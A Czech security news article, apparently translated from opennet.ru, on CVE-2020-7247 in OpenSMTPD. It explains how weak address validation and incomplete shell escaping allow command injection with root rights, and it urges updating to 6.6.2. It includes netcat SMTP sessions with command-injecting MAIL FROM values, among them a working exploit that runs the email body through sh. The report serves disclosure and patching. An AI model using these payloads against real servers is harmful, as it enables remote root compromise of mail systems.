Zranitelnost v OpenSMTPD umožňující vzdálené spuštění kódu s právy root

V rozvíjeném projektu OpenBSD poštovním serveru OpenSMTPD byla odhalena kritická zranitelnost (CVE-2020-7247), což umožňuje vzdálené provádění shellových příkazů na serveru s právy uživatele root. Zranitelnost byla odhalena během opakovaného auditu provedeného společností Qualys Security (minulý audit OpenSMTPD byl proveden v roce 2015, a nová zranitelnost je přítomna od května 2018). Problém odstraněna ve verzi OpenSMTPD 6.6.2. Všem uživatelům se doporučuje neprodleně nainstalovat aktualizaci (pro OpenBSD lze opravu nainstalovat přes syspatch).

Byly navrženy dva varianty útoku. První varianta funguje v přednastavené konfiguraci OpenSMTPD (příjem požadavků pouze z localhostu) a umožňuje využít problém lokálně, když má útočník možnost přistoupit k místní síťové rozhraní (loopback) na serveru (například na hostingových systémech). Druhá varianta se projeví v případě nastavení OpenSMTPD pro příjem externích síťových požadavků (poštovní server, který přijímá externí poštu). Výzkumníci připravili prototyp exploit, který úspěšně funguje jak s variantou OpenSMTPD v rámci OpenBSD 6.6, tak s přenositelnou verzí pro jiné operační systémy (realizováno v Debian Testing).

Problém je způsoben chybou ve funkci smtp_mailaddr(), jež je volána pro kontrolu správnosti hodnot v polích „MAIL FROM“ a „RCPT TO“, které určují odesílatele/příjemce a jsou předávány během spojení s poštovním serverem. Pro ověření části poštovní adresy, která jde před znakem „@“, je ve funkci smtp_mailaddr() volána funkce
valid_localpart(), která považuje za platné (MAILADDR_ALLOWED) znaky „!#$%&’*\/´{|}~+-=_“, v souladu s požadavky RFC 5322.

Přitom se přímé escapování řetězce provádí ve funkci mda_expand_token(), která nahrazuje pouze znaky „!#$%&’*?´{|}~“ (MAILADDR_ESCAPE). Dále se připravený v mda_expand_token() řetězec používá při volání doručovací agent (MDA) pomocí příkazu ‘execle(„/bin/sh“, „/bin/sh“, „-c“, mda_command,…’. V případě vložení e-mailu do mbox přes /bin/sh se spouští řetězec „/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}“, kde hodnota „%{mbox.from}“ zahrnuje escapovaná data z parametru „MAIL FROM“.

Podstata zranitelnosti spočívá v tom, že smtp_mailaddr() má logickou chybu, kvůli které v případě předání prázdného doménového jména v emailu, funkce vrací úspěšný kód kontroly, i když část adresy před „@“ obsahuje neplatné znaky. Dále při přípravě řetězce funkcí mda_expand_token() nejsou escapeované všechny možné speciální znaky shellu, ale pouze znaky, které jsou povoleny v emailové adrese. Tím pádem pro spuštění svého příkazu stačí použít ve lokální části emailu znak „;“ a mezeru, které nepatří do sady MAILADDR_ESCAPE a nejsou escapeovány. Například:

$ nc 127.0.0.1 25

HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:<root>
DATA
.
QUIT

Po této relaci OpenSMTPD při doručování do mbox spustí přes shell příkaz

/usr/libexec/mail.local -f ;sleep 66; root

Přitom jsou možnosti útoku omezeny tím, že lokální část adresy nemůže překročit 64 znaků, a speciální znaky ‘$’ a ‘|’ jsou při escapeování nahrazeny „:“. Pro obcházení tohoto omezení byla využita skutečnost, že tělo emailu je předáváno po spuštění /usr/libexec/mail.local přes vstupní proud, tj. pomocí manipulace s adresou je možné spustit pouze příkazový interpret sh a použít tělo emailu jako sadu instrukcí. Jelikož na začátku emailu jsou uvedeny servisní SMTP hlavičky, navrhuje se pro jejich přeskočení použít volání příkazu read v cyklu. Funkční exploit vypadá přibližně takto:

$ nc 192.168.56.143 25

HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
DATA
#0
#1
…
#d
for i in W O P R; do
echo -n „($i) “ && id || break
done > /root/x.»`id -u`».»$$»
.
QUIT

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster